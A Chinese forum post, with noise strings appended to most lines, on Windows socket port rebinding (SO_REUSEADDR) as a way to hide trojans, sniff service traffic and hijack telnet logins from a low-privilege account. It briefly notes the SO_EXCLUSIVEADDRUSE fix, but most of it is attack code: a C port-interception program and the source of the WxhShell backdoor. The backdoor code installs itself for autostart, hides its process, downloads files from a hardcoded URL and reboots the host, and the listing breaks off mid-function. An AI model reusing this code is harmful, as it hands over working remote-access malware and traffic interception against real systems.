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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FaNH+LPe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {^xp?zpV  
9j[%Y?  
  saddr.sin_family = AF_INET; /v1Rn*VF!  
6NV- &0 _  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P#g"c.?;  
K~_[[)14b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FasA f( 3  
{yy ^DlHb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "s]c79t  
bX:ARe O  
  这意味着什么?意味着可以进行如下的攻击: ^< ,Np+  
z6K"}C%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qdB@P  
':fq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &Oq& ikw  
r2T-=XWB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3JiDi X"|  
c D+IMlT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Mlp[xk|  
'[fo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VR>;{>~  
$^Dx4:k<2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3+;}2x0-F  
byYdX'd.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {@u;F2?  
_-*Lj;^V  
  #include BC0T[o(f8  
  #include x8 sSb:N  
  #include `":ch9rK  
  #include    JU7EC~7|2c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kne{Tp  
  int main() X$zlR) Re  
  { -i@1sNx&'  
  WORD wVersionRequested; GQTMQXn(  
  DWORD ret; b:Lp`8Du  
  WSADATA wsaData; zA&lJD $0  
  BOOL val; Kc*h@#`~oL  
  SOCKADDR_IN saddr; v ?)-KtX|  
  SOCKADDR_IN scaddr; )g:\N8AZK  
  int err; ;$G.?r  
  SOCKET s; 9}FWO&LiB  
  SOCKET sc; 3y%B&W,sm  
  int caddsize; c,1Yxg]|  
  HANDLE mt; ?Ovl(4VG  
  DWORD tid;   cbl2D5s+i]  
  wVersionRequested = MAKEWORD( 2, 2 ); 1pC!F ;9Oo  
  err = WSAStartup( wVersionRequested, &wsaData ); FrO)3 1z  
  if ( err != 0 ) { Vt:]D?\3  
  printf("error!WSAStartup failed!\n"); m<wng2`NTv  
  return -1; hbhh m  
  } q"5iza__H  
  saddr.sin_family = AF_INET; |~bl%g8xP  
   E ?(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5Cd>p<  
$ +h~VC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vh:%e24Z  
  saddr.sin_port = htons(23); \cdNyVY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AHP_B&s,Qe  
  { lkK+Fm  
  printf("error!socket failed!\n"); @X_x?N  
  return -1; 2*-s3 >VK  
  } ,V3P.ni]  
  val = TRUE; %0}qMYS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1Fn+nDn O6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y&aFAjj  
  { |b{XnD_g  
  printf("error!setsockopt failed!\n"); Au$|@  
  return -1; Ql> DS~a  
  } bR@ e6.<i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .Y!*6I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +$_W4lf|E2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -$L53i&R  
<k'=_mC_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +qe!KPk2  
  { sTO*  
  ret=GetLastError(); E)m{m$Hb  
  printf("error!bind failed!\n"); {[PoLOCI  
  return -1; D0tmNV@  
  } *z`_U]tP  
  listen(s,2); h8oG5|Y  
  while(1) $ +;`[b   
  { @CU3V+  
  caddsize = sizeof(scaddr); _niXl&C  
  //接受连接请求 -:`$8/A|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o&1ewE(O]  
  if(sc!=INVALID_SOCKET) '$W@I  
  { s)#FqB8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &IM;Yl  
  if(mt==NULL) (Bd8@}\u_  
  { NH$a:>  
  printf("Thread Creat Failed!\n"); Mxn>WCPo  
  break; ppjd.  
  } W XDl\*n  
  } ~`c?&YixU  
  CloseHandle(mt); +~\1Zgw  
  } <<gk< _7`  
  closesocket(s); Y~vI@$<~(  
  WSACleanup(); 8[U1{s:J  
  return 0; 3>%rm%ffE  
  }   d0~F|j\#  
  DWORD WINAPI ClientThread(LPVOID lpParam) `3^ *K/K\  
  { *SQ hXTn  
  SOCKET ss = (SOCKET)lpParam; ~h 6aw  
  SOCKET sc; ,F(nkbt  
  unsigned char buf[4096]; mL`,v WL/`  
  SOCKADDR_IN saddr; |GtTz&  
  long num; @FKNB.>  
  DWORD val; +M!f}=H  
  DWORD ret; pi:%Bd&F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -`gqA%#+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ub*Gv(Pg  
  saddr.sin_family = AF_INET; zE5%l`@|o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9(DS"fgC  
  saddr.sin_port = htons(23); $-m@cObw!.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \];0S4SBy  
  { XtVx H4q  
  printf("error!socket failed!\n"); X[:Hp`_$  
  return -1; .w\AyXp  
  } +0\BI<aG  
  val = 100; ]7n+|@3x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2`I" QU  
  { %Kx:'m%U  
  ret = GetLastError(); {^2``NYM_  
  return -1; vO!p8r F  
  } PXG)?`^NX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S\K;h/;V  
  { }z1aKa9  
  ret = GetLastError(); Y&KI/]ly,L  
  return -1; \ni?_F(Y  
  } A;n3""  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PjNOeI@G  
  { wgxr8;8`q  
  printf("error!socket connect failed!\n"); "2q}G16K  
  closesocket(sc);  fy" q  
  closesocket(ss); 6/Y3#d  
  return -1; `z%f@/:fG  
  } 4Tgy2[D?q  
  while(1) 2{Nv&ZX?  
  { % 1ZJi}~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ac}+U q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ahk6{uz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Nw[TP G5  
  num = recv(ss,buf,4096,0); rk:^^r>5Qi  
  if(num>0) ^WQ.' G5Q  
  send(sc,buf,num,0); #qY`xH'>  
  else if(num==0) hp+=UnW  
  break; )isz }?Dj  
  num = recv(sc,buf,4096,0); NpqMdd   
  if(num>0) B-PN +P2  
  send(ss,buf,num,0); -/rP0h5#  
  else if(num==0) /]m5HW(P7K  
  break; S0\QZ/je  
  } U8qb2'a8  
  closesocket(ss); ^.)oQo SE  
  closesocket(sc); F8mS5oB|^  
  return 0 ; p;cNmMm  
  } :,%~R2  
$(B|$e^:(  
^N#B( F  
========================================================== \=PnC}7I  
} M-^A{C\%  
下边附上一个代码,,WXhSHELL #'[4k:  
=aZgq99  
========================================================== 9$ZQuHSw 7  
8&<C.n KP  
#include "stdafx.h" &SuWmtq  
_Y@vO  
#include <stdio.h> W5 ^eCYHoi  
#include <string.h> r:0F("},  
#include <windows.h> z5`AJrj%  
#include <winsock2.h> *Z'*^Y1le  
#include <winsvc.h> V .+ mK|)  
#include <urlmon.h> .Qk T-12  
.anXsjD%W  
#pragma comment (lib, "Ws2_32.lib") zLEl/yPE  
#pragma comment (lib, "urlmon.lib") r(WR=D{  
tb36c<U-  
#define MAX_USER   100 // 最大客户端连接数 \6A Yx[|  
#define BUF_SOCK   200 // sock buffer hB/4.K]8  
#define KEY_BUFF   255 // 输入 buffer oS3'q\  
Em8q1P$tm>  
#define REBOOT     0   // 重启 BUB$k7{z  
#define SHUTDOWN   1   // 关机 A) {q 7WI  
& -L$B  
#define DEF_PORT   5000 // 监听端口 k|V%*BvY>  
Nki08qZ[  
#define REG_LEN     16   // 注册表键长度 tN P>6F/  
#define SVC_LEN     80   // NT服务名长度 +l'l*<  
]S!:p>R  
// 从dll定义API M ,!Dhuas  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7L3:d7=MIW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ok63 w7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0?c2=Y   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S&(MR%".  
$>^DkrOd  
// wxhshell配置信息 %S*<2F9  
struct WSCFG { #o`y<1rN  
  int ws_port;         // 监听端口 i2.g}pM.A  
  char ws_passstr[REG_LEN]; // 口令 u~b;m  
  int ws_autoins;       // 安装标记, 1=yes 0=no oA/[>\y  
  char ws_regname[REG_LEN]; // 注册表键名 ]mIcK  
  char ws_svcname[REG_LEN]; // 服务名 8i$quHd&x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i/UDda"E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J:W|2U="  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E%Tpby}^'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4-j3&(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 24{Tl q3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -DAkVFsN  
xib?XzxGo  
}; !@>_5p>q*  
Vx'82CIC  
// default Wxhshell configuration 'k^d-Mh>h  
struct WSCFG wscfg={DEF_PORT, U)CGRh8%+  
    "xuhuanlingzhe", U'4j+vUc  
    1, &.W,Hh  
    "Wxhshell", >}~\*Y\8@  
    "Wxhshell", !fX&i6  
            "WxhShell Service", b$@vJ7V!  
    "Wrsky Windows CmdShell Service", DA=#T2)p  
    "Please Input Your Password: ", |!t &ZpdD  
  1, >qE f991SZ  
  "http://www.wrsky.com/wxhshell.exe", au=A+  
  "Wxhshell.exe" P"-*'q,9  
    }; ~l {*XM  
AS1#_f C  
// 消息定义模块 GgT 5'e;N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vbA<=V*P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kd='l~rby  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "Y'MuV'x  
char *msg_ws_ext="\n\rExit."; 5;v_?M!UCK  
char *msg_ws_end="\n\rQuit."; nR %ey"  
char *msg_ws_boot="\n\rReboot..."; J[|4`GT  
char *msg_ws_poff="\n\rShutdown..."; &,DZ0xA  
char *msg_ws_down="\n\rSave to "; dw*PjIB9x  
UTWchh  
char *msg_ws_err="\n\rErr!"; Tumv0=q4wd  
char *msg_ws_ok="\n\rOK!"; "mk@p=d  
DtEvt+h  
char ExeFile[MAX_PATH]; ]u5B]ZQnA  
int nUser = 0; 1`sLbPW  
HANDLE handles[MAX_USER]; ztS:1\  
int OsIsNt; IL0e:-@!0  
hw 5NHZ I'  
SERVICE_STATUS       serviceStatus; sA(d_ Yu_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wak:"B[  
jm ORKX+)  
// 函数声明 ?T1vc  
int Install(void); q g2 fTe  
int Uninstall(void); og[cwa_  
int DownloadFile(char *sURL, SOCKET wsh); % _.kd"  
int Boot(int flag); s78MXS?py  
void HideProc(void); SAVA6 64  
int GetOsVer(void); k3PFCl~e  
int Wxhshell(SOCKET wsl); EjA3hHJ  
void TalkWithClient(void *cs); F>F2Yql&W  
int CmdShell(SOCKET sock); C(%b!Q,2  
int StartFromService(void); H^3f!\MC;o  
int StartWxhshell(LPSTR lpCmdLine); AT6o~u!WU  
\k4em{K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .#q]{j@Ot  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~:JoKm`vU  
?<;9=l\Q  
// 数据结构和表定义 QjlQsN!  
SERVICE_TABLE_ENTRY DispatchTable[] = 8l.bT|#O  
{ ApD`i+Y@  
{wscfg.ws_svcname, NTServiceMain}, !jQj1QZR`  
{NULL, NULL} G'U! #  
}; V?L8BRnV  
\V(w=   
// 自我安装 ""f'L,`{.  
int Install(void) m{gw:69h  
{ 8P?p  
  char svExeFile[MAX_PATH]; BQ:hUF3  
  HKEY key; !qu/m B  
  strcpy(svExeFile,ExeFile); Hk8lHja+\  
JW},7Ox  
// 如果是win9x系统,修改注册表设为自启动 ?S<`*O +  
if(!OsIsNt) { MvKr~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =vs]Kmm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %f?Z/Wn  
  RegCloseKey(key); Yi?v |H<a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZX8 AB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Cz0r"N  
  RegCloseKey(key); Jn&^5,J]F8  
  return 0; wS7nTZfw  
    } v]GQb  
  } 12VSzIm  
} Y'^+ KU  
else { XiL[1JM  
 ;?G..,  
// 如果是NT以上系统,安装为系统服务 /:;"rnvq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $5wf{iZY.Q  
if (schSCManager!=0) ew.jsa`TrW  
{ `N}aV Ns  
  SC_HANDLE schService = CreateService PX- PVW  
  ( 8w$q4fg0  
  schSCManager, j4:Xel/  
  wscfg.ws_svcname, 60R]Q  
  wscfg.ws_svcdisp, q4T98s2J  
  SERVICE_ALL_ACCESS, ~H c5M5m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ym8pB7E7%  
  SERVICE_AUTO_START, tfCK^{  
  SERVICE_ERROR_NORMAL, (PC)R9r5  
  svExeFile, 2EH0d6nt  
  NULL, Ya &\b 6  
  NULL, ffQm"s:P  
  NULL, :+_  
  NULL, eakQZ-Q  
  NULL +-!2nk`"a  
  ); "x0/i?pqa  
  if (schService!=0) hLr\;Swyp  
  { /o^/ J~/3  
  CloseServiceHandle(schService); _+9o'<#u(  
  CloseServiceHandle(schSCManager); >} E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G3o`\4p  
  strcat(svExeFile,wscfg.ws_svcname); [X 9zrGHt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?[=OQ/E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z,oCkv("n  
  RegCloseKey(key); I8/tD|3  
  return 0; c2u*<x  
    } {G+iobQdd  
  } /5Sd?pW;  
  CloseServiceHandle(schSCManager); ^kK% 8 u  
} ||))gI`3a  
} sDB,+1"Y$  
R2A#2{+H  
return 1; 9&bJ]  
} >QdT 7gB  
!;UoZ~  
// 自我卸载 nT%ko7~-  
int Uninstall(void) >qVSepK3  
{ (<}BlL   
  HKEY key; L6"V=^Bq  
kEp{L  
if(!OsIsNt) { j[A:So  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [:zP]l.|  
  RegDeleteValue(key,wscfg.ws_regname); ^'n;W<\p)  
  RegCloseKey(key); Q*hXFayx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Hk7s+%  
  RegDeleteValue(key,wscfg.ws_regname); SZUo RWx  
  RegCloseKey(key); =6 3tp 9  
  return 0; z%1& t4$  
  } 0DFVB%JdI  
} DKF` xuJP  
} [$c"}=g[+  
else { &`,Y/Cbw  
h'+F'1=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8#w%qij  
if (schSCManager!=0) ME66BWg{  
{ <.2jQ#So  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (((|vI3 <  
  if (schService!=0) =ea.+  
  { L&d.&,CNs'  
  if(DeleteService(schService)!=0) { RT(ejkLZm  
  CloseServiceHandle(schService); Vg(M ^2L  
  CloseServiceHandle(schSCManager); Iw^Q>MrT  
  return 0; k=cDPu -  
  } pqTaN=R8  
  CloseServiceHandle(schService); R9  Y@I  
  } ];'7~",Y  
  CloseServiceHandle(schSCManager); z8XWp[K  
} {.?pl]Zl6  
} dvM%" k  
phQ{<wzwp  
return 1; H>Ucmd;ay  
} EywBT  
G)q;)n;*=  
// 从指定url下载文件 hV+=hX<h  
int DownloadFile(char *sURL, SOCKET wsh) p1\mjM  
{ \8g= Ix  
  HRESULT hr; eL<jA9cJ9  
char seps[]= "/"; ]57yorc`  
char *token; l"7#(a  
char *file; U~d%5?q  
char myURL[MAX_PATH]; 'Z]wh.]T  
char myFILE[MAX_PATH]; NTEN  
sm;kg=  
strcpy(myURL,sURL); H@u5&  
  token=strtok(myURL,seps); e,r7UtjoxR  
  while(token!=NULL) ; !C_}P  
  { +&dkJ 4g[  
    file=token; h?H|)a<^9  
  token=strtok(NULL,seps); $wn0oIuW  
  } [k0/ZfFwV  
nEPTTp+B  
GetCurrentDirectory(MAX_PATH,myFILE); *U}ztH-+/  
strcat(myFILE, "\\"); zkiwFEHA=  
strcat(myFILE, file); /::Y &&$f  
  send(wsh,myFILE,strlen(myFILE),0); 4U16'd  
send(wsh,"...",3,0); WEJ-K<A(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); . :>e"D  
  if(hr==S_OK) #WJ*)$A@&  
return 0; 1{wbC)  
else ef)zf+o  
return 1; LlS~J K  
IT)3Et@Y  
} C#4_`4{  
>q0%yh-  
// 系统电源模块 IA{W-RRb  
int Boot(int flag) 6B*#D.fd*  
{ =6+99<G|%M  
  HANDLE hToken; +xgP&nw[-  
  TOKEN_PRIVILEGES tkp; 3Fxr=  
E NCWOj  
  if(OsIsNt) { }dHdy{$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MTN*{ug2:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HOF=qE*p  
    tkp.PrivilegeCount = 1; =LODX29  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?D6|~k i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ g|VZN  
if(flag==REBOOT) { ~@)s)K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /[D_9  
  return 0; 9e c},~(  
} =R~zD4{"  
else { 2gZ nrU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mi{ns $B%  
  return 0; ?3 k_YN"  
} Fi;H   
  } ^8A [ ^cgq  
  else { !%D';wQ,/  
if(flag==REBOOT) { !nvg:$.&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8 ]exsn Z  
  return 0; ,Si{]y  
} Z1:%Aq xP  
else { .Zj`_5C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %q~q,=H$]  
  return 0; fm`V2'Rm  
} A)V*faD  
} 01n132k  
y4LUC;[n  
return 1; =<#G~8WYz  
} U4^c{KWS  
tXH;4K@  
// win9x进程隐藏模块 lixM0  
void HideProc(void) cJv/)hRaz  
{ {=?(v`88  
*coUHbP9>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AWYlhH4c?t  
  if ( hKernel != NULL ) >;' 0ymG.`  
  { (ie%zrhS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -*MY7t3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jU7[z$GX  
    FreeLibrary(hKernel); # =tw ,S  
  } Z/:F)c,x  
O,|NOz  
return; aK95&Jyw&  
} hc+B+-,  
y`j=(|DV  
// 获取操作系统版本 vq^';<Wh.  
int GetOsVer(void) *i^$xjOa  
{ 1}c'UEr%)  
  OSVERSIONINFO winfo; ,z>-_HOnw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @+H0D"  
  GetVersionEx(&winfo); DKu$u ]Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'QxJU$  
  return 1; 7U_ob"`JV  
  else VXWV Pj#  
  return 0; u~j H  
} R:YVmqd  
H$C*&p  
// 客户端句柄模块 lFnYQab  
int Wxhshell(SOCKET wsl) lTP#6zqfv  
{ ~F@n `!c  
  SOCKET wsh; .pQ5lK(R  
  struct sockaddr_in client; [}ja \!P  
  DWORD myID;  +:-xV  
)J> dGIb  
  while(nUser<MAX_USER) 1=C12  
{ -` ViuDX=  
  int nSize=sizeof(client); _<FUS'"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ThgJ '  
  if(wsh==INVALID_SOCKET) return 1; G^#>HE|  
 <{Y3}Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NRJp8G Z%U  
if(handles[nUser]==0) DE?k|Get2  
  closesocket(wsh); Qd kus 214  
else QfAmGDaYQ  
  nUser++; _^#eO`4"  
  } +cqUp6x.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i79$D:PcLa  
)Yy5u'}  
  return 0; 1xd6p  
} T+@i;M  
Yq6 @R|u  
// 关闭 socket CYgokS\=,  
void CloseIt(SOCKET wsh) ZxSFElDD]E  
{ <tF q^qB  
closesocket(wsh); }7 +%k/  
nUser--; qe{;EH*  
ExitThread(0); 9QXsbd6  
} K+!e1 '  
X+N5iT  
// 客户端请求句柄 {+hABusq  
void TalkWithClient(void *cs) .=J- !{z  
{ o cW~I3  
6,q_ M(;c  
  SOCKET wsh=(SOCKET)cs; 7;AK=;  
  char pwd[SVC_LEN]; I V# 8W  
  char cmd[KEY_BUFF]; UtTlJb{-j  
char chr[1]; .Iqqjk  
int i,j; xm1di@  
pXO09L/nv  
  while (nUser < MAX_USER) { /X.zt `  
Lk,q~  
if(wscfg.ws_passstr) { SDO:Gma  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'LPyh ;!f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t e-xhJ&K  
  //ZeroMemory(pwd,KEY_BUFF); +] ;WN  
      i=0; 6`Tx meIP  
  while(i<SVC_LEN) { 3= sBe HL  
(~N?kh:  
  // 设置超时 S,6/X.QBv  
  fd_set FdRead; zgEN2d  
  struct timeval TimeOut; 0 a{hCx|$J  
  FD_ZERO(&FdRead); 7`J2/(  
  FD_SET(wsh,&FdRead); *cXq=/s  
  TimeOut.tv_sec=8; ZBpcC0 z  
  TimeOut.tv_usec=0; 5H XF3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vRC >=y*=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6c-3+,Y"#  
?[zw5fUDS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AF"7 _  
  pwd=chr[0]; 6_KvS  
  if(chr[0]==0xd || chr[0]==0xa) { {:!>Y1w>  
  pwd=0; gR# k'   
  break; M9R'ONYAa  
  } Eqz|eS*6  
  i++; (JlPe)Q5  
    } ]VKQm(,0  
Ut\:jV=f  
  // 如果是非法用户,关闭 socket A/I\MN|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0l[52eZ/  
} L}rZ1wV6  
27ZqdHd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  FNH)wk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nL=+`aq_  
Yft [)id  
while(1) { "ymR8 y'  
}WIkNG4{Z  
  ZeroMemory(cmd,KEY_BUFF); iKrk?B<  
we`BqZV  
      // 自动支持客户端 telnet标准   SXqB<j$.;  
  j=0; tdxzs_V,-  
  while(j<KEY_BUFF) { ;hDk gp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uxD3+Q  
  cmd[j]=chr[0]; Gh=I2GSo  
  if(chr[0]==0xa || chr[0]==0xd) {  Jk(V ]  
  cmd[j]=0; a($7J6]M  
  break; (@XQ]S}L  
  } Tph^o^  
  j++; fub04x)  
    } <DR|r  
"NA<^2W@J  
  // 下载文件 XyN " Jr  
  if(strstr(cmd,"http://")) { $+GDPYm'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u*2?Gky  
  if(DownloadFile(cmd,wsh)) zO"De~[9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v(yJGEf0  
  else Wjl2S+Cc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n46!H0mJ  
  } H~s8M  
  else { <L4$f(2  
. KLEx]f.  
    switch(cmd[0]) { rN|=cn  
  p =nbsS~":  
  // 帮助 5Z_C (5)/Y  
  case '?': { zTB&Wlt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3f^Pr  
    break; \h=*pAf  
  } \OkZ\!<hg  
  // 安装 |E?r+]  
  case 'i': { E&kv4,  
    if(Install()) N`efLOMl]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @!dIa1Q"  
    else * rlV E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =9ff9 83  
    break; 4xg)e` *U  
    } e7"T37  
  // 卸载 X$6NJ(2G  
  case 'r': { nX3?7"v  
    if(Uninstall()) ?lD)J?j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&CLb`<y  
    else g?"QahH G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7!cLTq  
    break; \_,p@r]Q  
    } rc[~S  
  // 显示 wxhshell 所在路径 9qCE{ [(  
  case 'p': { m_0y]RfG  
    char svExeFile[MAX_PATH]; .8s-)I  
    strcpy(svExeFile,"\n\r"); f#:3 TJV  
      strcat(svExeFile,ExeFile); %f&Y=  
        send(wsh,svExeFile,strlen(svExeFile),0); qA)YYg/G  
    break; s$pXn&:  
    } 8&8!(\xv  
  // 重启 <9X@\uvU.<  
  case 'b': { yR|2><A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nf!N;Cy?  
    if(Boot(REBOOT)) iS+"Jsz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .kFO@:  
    else { 7s6+I_n  
    closesocket(wsh); Ed u(dZbKg  
    ExitThread(0); { DP9^hg  
    } WlQCPC  
    break; %:`v.AG  
    } C5V}L  
  // 关机 Z qn$>mG-  
  case 'd': { 7P3pjgh  
